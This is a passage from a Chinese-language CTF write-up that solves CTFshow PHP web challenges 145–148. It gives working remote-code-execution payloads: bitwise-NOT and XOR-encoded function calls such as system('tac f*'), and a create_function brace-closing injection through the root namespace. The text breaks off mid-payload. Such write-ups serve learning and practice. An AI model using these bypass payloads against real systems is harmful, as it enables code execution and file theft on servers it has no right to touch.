是可以执行的:
效仿这么模式构造payload:
?v1=1&v2=1&v3=?(%8C%86%8C%8B%9A%92)(%8B%9E%9C%DF%99%D5):
指令是system(‘tac f*’)
结束
Web146(145plus)
1 | highlight_file(__FILE__); |
:被ban了,不能用三目运算符了
但是==和|没有被ban
可以用1==phpinfo()||1
payload:?v1=1&v2=1&v3===(%8C%86%8C%8B%9A%92)(%8B%9E%9C%DF%99%D5)||
Web147(RCE+命名空间)
1 | highlight_file(__FILE__); |
设计知识盲区了
这个正则的意思就是字符必须只能包含字母,数字,下划线,但凡多一个其他的东西就匹配失败
所以还是很好绕过的,在字符串的开头或者结尾加一个特殊字符就可以
也就是说我们要找一个加了/这类字符还可以使用的函数
后来了解到了一个东西:
在PHP的命名空间默认为\,所有的函数和类都在\这个命名空间中,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。
了解到了这种命名空间调用函数的方法之后又发现了一个函数create_function
:
1 | create_function('$a,$b','return 111') |
这个函数等于创造一个函数,但是这是存在漏洞点的,假如我们这样输入:
1 | create_function('$a,$b','return 111;}phpinfo();//') |
发现这样闭合中括号是可以执行指令的,原理就是闭合中括号,然后注释掉后面的字符‘
利用这一点构造payload:
post:ctf=\create_function
get:?show=return 1;}system(‘tail flag.php’);//
结束
Web148(中文变量+异或)
1 | include 'flag.php'; |
没ban异或符号
解法一:
使用异或构造get_ctfshow_fl0g();
payload:?code=(“%07%05%09%01%03%09%06%08%08%0f%08%01%06%0c%0b%07”^”%60%60%7d%5e%60%7d%60%7b%60%60%7f%5e%60%60%3b%60”)();
之后访问源代码即可获得答案
解法二:
使用中文变量,可以看到是没把$和;ban掉的
payload:
?code=$哈=”`
About this Post
This post is written by Boogipop, licensed under CC BY-NC 4.0.